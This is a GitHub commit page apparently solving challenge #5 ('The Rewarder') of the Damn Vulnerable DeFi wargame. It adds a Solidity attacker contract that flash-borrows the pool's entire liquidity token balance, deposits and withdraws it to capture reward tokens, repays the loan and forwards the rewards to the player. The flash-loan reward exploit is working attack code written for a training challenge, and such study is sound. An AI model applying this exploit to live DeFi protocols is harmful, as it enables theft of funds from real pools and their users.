forked from theredguild/damn-vulnerable-defi
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Challenge theredguild#5 The Rewarder
- Loading branch information
Martin Marchev
committed
May 26, 2023
1 parent
034c85f
commit dc8ac8c
Showing
2 changed files
with
49 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | ||
|
||
import "./FlashLoanerPool.sol"; | ||
import "./TheRewarderPool.sol"; | ||
|
||
contract TheRewardAttacker { | ||
FlashLoanerPool private flashLoanPool; | ||
TheRewarderPool private rewarderPool; | ||
IERC20 private liquidityToken; | ||
IERC20 private rewardToken; | ||
address private player; | ||
|
||
constructor(FlashLoanerPool _flashLoanPool, TheRewarderPool _rewarderPool, | ||
IERC20 _liquidityToken, IERC20 _rewardToken, address _player) { | ||
flashLoanPool = _flashLoanPool; | ||
rewarderPool = _rewarderPool; | ||
liquidityToken = _liquidityToken; | ||
rewardToken = _rewardToken; | ||
player = _player; | ||
} | ||
|
||
function attack() external { | ||
uint256 flashLoanPoolBalance = liquidityToken.balanceOf(address(flashLoanPool)); | ||
flashLoanPool.flashLoan(flashLoanPoolBalance); | ||
} | ||
|
||
function receiveFlashLoan(uint256 amount) external { | ||
liquidityToken.approve(address(rewarderPool), amount); | ||
rewarderPool.deposit(amount); | ||
rewarderPool.withdraw(amount); | ||
liquidityToken.transfer(address(flashLoanPool), amount); | ||
rewardToken.transfer(player, rewardToken.balanceOf(address(this))); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters